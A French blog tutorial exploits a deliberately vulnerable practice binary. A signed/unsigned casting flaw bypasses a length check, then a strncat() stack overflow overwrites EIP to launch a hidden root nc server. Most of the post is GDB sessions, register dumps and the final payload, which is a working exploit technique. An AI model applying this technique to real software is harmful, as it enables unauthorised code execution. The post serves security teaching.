Salut a tous .
Actuellement en formation réseau , je n'ai pas pu tenir toute mes promesses concernant ce blog , néanmoins ,
je vous propose a présent une petite exploitation en milieu hostile (avec SSP et ASLR).
Notre objectif du jour sera ,comme souvent, la réécriture d'EIP , grace a un buffer overflow .
Pour ce faire nous exploiterons une faille de type «transtypage» ou «casting» ,puis nous redirigerons le flot d'exécution
en écrasant EIP grace a une erreur dans l'emploi de la fonction C strncat().
Tout d'abord précisons l'environnement de travail:
root[Casting_error]# uname -a && cat /proc/sys/kernel/randomize_va_space
Linux zenwalk 2.6.33.4 #1 SMP PREEMPT Fri May 14 13:02:33 CEST 2010 i686 Intel(R) Pentium(R) 4
CPU 3.06GHz GenuineIntel GNU/Linux
2
A présent compilons le binaire de façon suffisament sure pour rentre cette exploitation intéréssante;
a quoi bon compiler et exploiter des binaires compilés avec -fno-stack-protector pour la énnième fois..
root[Casting_error]#gcc -Wall -Werror-o vuvu vuvu.c
(On remarquera au passage que malgré les arguments passés, GCC ne renvois aucun warnings lors de la compilation,
cela démontre que pour lui tout est correctement codé ('fin si on veux..) et que toute les fonctions sont utilisées selon les usages ) .
Lançons le afin de le tester un peu:
kmkz[Casting_error]# ./vuvu aaaaaaaaaa
Overflow attempt detected!
Ok, passons aux choses sérieuses:
On remarque ici qu'il ne passe pas la condition , en effet , le code source indique que si argv[1] >= 64 ,
alors on affiche ce message et on quitte le programme.
Pourtant notre but sera d'accéder a la fonction «serveur» afin de le lancer malgré qu'il ne soit,en théorie, pas accéssible .
Comment faire?
Simple me direz-vous , dans un premier temps il faudra bypasser ce contrôle, voici comment on va procéder.
Pour commencer on lui indiquera un nombre inférieur à 64 pour tester sa réaction:
kmkz[Casting_error]$ ./vuvu `printf "63"``perl -e 'print "A"x82'`
[+] Welcome on Private Access Plateform (PAP) project
[-] Server unrecheable , please contact the administrator
kmkz[Casting_error]$
Bon , maintenant voyons voir comment le binaire réagit avec de l'hexa (on sait que \x3f = 63 , donc \x40 = 64 )
on check :
kmkz[Casting_error]# ./vuvu `printf "\x40"``perl -e 'print "A"x82'`
[+] Welcome on Private Access Plateform (PAP) project
[-] Server unrecheable , please contact the administrator
Overflow attempt detected!
Ici on voit bien que la tentative d'overflow échoue car la condition n'est pas vérifiée.
Essayons maintenant de bypasser ce controle avec une valeur telle que \x80 (-128) afin de déborder
et d'écraser EIP.
Pourquoi \x80?
Tout simplement une question de Bits :P .
Il faut garder a l'esprit la vérification faites par la condition , sachant que le type attendu en 3eme argument
qui est défini par le prototype de la fonction strncat() doit etre size_t ,soit unsigned int , un argument comme
par exemple \x79 nous empècherait de bypasser ce test car les bits seraient alors organisés comme suit:
128 - 64 - 32 - 16 - 8 - 4 - 2 – 1 (Bits de l'octet)
0 1 1 1 1 0 0 1 ( Bits)
cela renverrait alors une erreur car la valeur serait bien trop grande !
x80 quand a lui est un nombre négatif (de \xFF à \x80) et s'étend sur les 24 premiers Bits quand il est de type signé,
néanmoins , lorsqu'il est utilisé dans strncat() il devient unsigned , ce qui signifie que les Bits passent a «1»
lui donnant ainsi une valeur bien plus grande que 64 , du coup cela génère bien un overflow.
Allez , maintenant qu'on connait la théorie , place à la pratique :
kmkz[Casting_error]# ./vuvu `printf "\x80"``perl -e 'print "A"x760'` // 760 soyons fou ...
[+] Welcome on Private Access Plateform (PAP) project
[-] Server unrecheable , please contact the administrator
Erreur de segmentation <-- Intéréssant , on a pu enfin obtenir un segfault :P
Allons voir ça de plus prés avec notre ami GDB:
(gdb) r `printf "\x80"``perl -e 'print "A"x82'` //82 car c'est ici la limite du segfault
Starting program: /home/kmkz/EXPLOITATION/Casting_error/vuvu `printf "\x80"``perl -e 'print "A"x82
'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
Regardons ce qui se passe au niveau du code assembleur et des registres :
...
0x08048580 <+106>: movb $0x0,-0x8(%ebp)
0x08048584 <+110>: cmpb $0x3f,-0x9(%ebp)
0x08048588 <+114>: jle 0x80485ab <function_verif+149>
---Type <return> to continue, or q <return> to quit---
0x0804858a <+116>: mov 0x80498e0,%eax
0x0804858f <+121>: mov %eax,%edx
0x08048591 <+123>: mov $0x8048758,%eax
...
Plaçons quelques points d'arrêts pour pouvoir y voir plus clair:
(gdb) b *function_verif+114
Breakpoint 1 at 0x8048588
(gdb) b *function_verif+116
Breakpoint 7 at 0x804858a
Allez , let's go !
(gdb) r `printf "\x80"``perl -e 'print "A"x82 . "\00"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/kmkz/EXPLOITATION/Casting_error/vuvu `printf "\x80"``perl -e 'print "A"x82 . "\00"'`
[+] Welcome on Private Access Plateform (PAP) project
[-] Server unrecheable , please contact the administrator
Breakpoint 1, 0x08048588 in function_verif ()
On fait un info registers:
(gdb) i r
eax 0x0 0 --> le nullbyte de buff[0],(mov $0x0,%eax)
ecx 0x1 1
edx 0xbffff23f -1073745345
ebx 0x3f 63 --> notre char initialisé à 64 (moins le nullbyte,soit 63) octets
esp 0xbffff1f0 0xbffff1f0
ebp 0xbffff248 0xbffff248
esi 0x0 0 --> Nullbyte de buff[65]
edi 0xbffff23c -1073745348
eip 0x8048588 0x8048588 <function_verif+114>
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r
eax 0x0 0 --> le nullbyte de buff[0],(mov $0x0,%eax)
ecx 0xffffff7f -128 --> notre argument nécéssaire pour l'overflow (\x80)
edx 0xbffff24e -1073745330
ebx 0x41414141 1094795585
esp 0xbffff250 0xbffff250
ebp 0x41414141 0x41414141
esi 0x0 0 --> Nullbyte de buff[65]
edi 0x41414141 1094795585
eip 0x41414141 0x41414141
(gdb) i s
#0 0x41414141 in ?? ()
#1 0xbfff0041 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
Ici on se rend bien compte de l'overflowing de la stack, tentons a présent de l'exploiter mauellement puis
a l'aide de l'exploit codé a cet effet.
Exploitation via détournement de fonction (un ret-into_PLT serait a envisagé mais j'ai opté pour cette méthode
car elle ne nécéssite que peu de connaissance et est relativement simple a pratir du moment ou EIP est
overwrité):
objdump -d vuvu | grep serveur
080485d4 <serveur>:
Voilà , l'exploitation peu avoir lieu afin de lancer le serveur soit-disant inaccéssible contruison le avec l'adresse fixée précédemment.
82-5 =77 Octets soit 4 Octets pour l'offset de retour (fonction serveur), 1 pour notre argument hexadécimal et on ajoutera un NullByte
pour la fin de string (non obligatoire ici , mais plus propre).
(gdb) r `perl -e 'print "\x80" . "A"x77 . "\xd4\x85\x04\x08" . "\00"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/kmkz/EXPLOITATION/Casting_error/vuvu `perl -e 'print "\x80" . "A"x77 . "\xd4\x85\x04\x08" . "\00"'`
[+] Welcome on Private Access Plateform (PAP) project
[-] Server unrecheable , please contact the administrator
Breakpoint 1, 0x08048588 in function_verif ()
(gdb) c
Continuing.
[+] Activating server on port : 6666
Du coté du méchant hacker le serveur est bien lancé , vérifions son fonctionnement et ses droits au cas ou ..:
...
tcp 0 0 *:6666 *:* LISTEN root 18892 2786/nc
...
L'exploitation a bien fonctionné , voyons maintenant avec notre exploit .
Voilà , j'espère que cela vous donnera des idées simpa ,
il me reste plus qu'à vous dire a bientôt pour de nouvelles aventures.
\o>
Links:
Exploit
Binaire(source vuvu.c)
Article PDF